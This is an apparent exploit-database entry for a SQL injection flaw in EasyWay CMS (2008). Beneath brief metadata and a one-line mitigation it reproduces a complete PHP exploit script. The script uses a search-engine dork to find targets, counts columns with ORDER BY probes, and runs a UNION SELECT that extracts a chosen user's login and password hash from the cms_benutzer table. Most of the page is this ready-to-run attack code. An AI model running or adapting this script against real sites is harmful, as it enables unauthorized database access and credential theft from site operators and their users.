header-logo
Suggest Exploit
vendor:
EasyWay CMS
by:
Lidloses_Auge
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: EasyWay CMS
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

EasyWay CMS – SQL Injection Exploit

EasyWay CMS is vulnerable to SQL Injection. An attacker can exploit this vulnerability to gain access to the admin panel and extract sensitive information from the database. This exploit was discovered by Lidloses_Auge and coded by the same. The exploit can be used by using a dork inurl:index.php?css=mid=art= and then using the exploit with the target URL and user ID as arguments. The exploit will then extract the login and password of the user from the database.

Mitigation:

The best way to mitigate this vulnerability is to use parameterized queries and to sanitize user input.
Source

Exploit-DB raw data:

<?php
ini_set("max_execution_time",0);
print_r('
###############################################################
#
#           EasyWay CMS - SQL Injection Exploit     
#                                                             
#      Vulnerability discovered by: Lidloses_Auge             
#      Exploit coded by:            Lidloses_Auge
#      Greetz to:                   -=Player=- , Suicide, g4ms3, enco,
#                                   GPM, Free-Hack
#      Date:                        30.05.2008
#      Developer:		    http://www.ta-edv.de/index.php?lg=de&css=1&mid=320&art=1
#
###############################################################
#                                                             
#      Dork:  inurl:"index.php?css=mid=art="
#      Admin Panel: [Target]/cms/
#      Usage: php '.$argv[0].' [Target] [Userid]
#      Example for "http://www.site.com/index.php?css=1&mid=100&art=1"
#      => php '.$argv[0].' http://www.site.com 1
#                                                             
###############################################################
');
if ($argc == 3) {
echo "\nExploiting in progress:";
$url = $argv[1];
$source = file_get_contents($url.'/index.php?mid=null+order+by+100/*');
$errorcount = substr_count($source,'not a valid MySQL');
$sql = '/index.php?mid=null+union+select+';
for ($i = 25; $i>=1; $i--) {
   $source = file_get_contents($url.'/index.php?mid=null+order+by+'.$i.'/*');
   if (substr_count($source,'not a valid MySQL')!=$errorcount) {
      $errorcount2 = $i;
      $i = 1;
   }
}
for ($j=1; $j<$errorcount2; $j++) {
   $sql = $sql.'concat(0x3a3a3a3a3a,login,0x3a3a313a3a,passwort,0x3a3a323a3a),';   
}
$sql = $sql.'concat(0x3a3a3a3a3a,login,0x3a3a313a3a,passwort,0x3a3a323a3a)+from+cms_benutzer+where+id='.$argv[2].'/*';
$source = file_get_contents($url.$sql);
echo "\n";
if (strpos($source,'::::')!=0) {
   echo 'User: '.substr($source,strpos($source,'::::')+5,strpos($source,'::1::')-strpos($source,'::::')-5)."\n";
   echo 'Hash: '.substr($source,strpos($source,'::1::')+5,strpos($source,'::2::')-strpos($source,'::1::')-5)."\n";
} else {
   echo 'Exploit failed!'."\n";
}
} else {
echo "\nNot enough arguments!\n";
}
?>

# milw0rm.com [2008-05-31]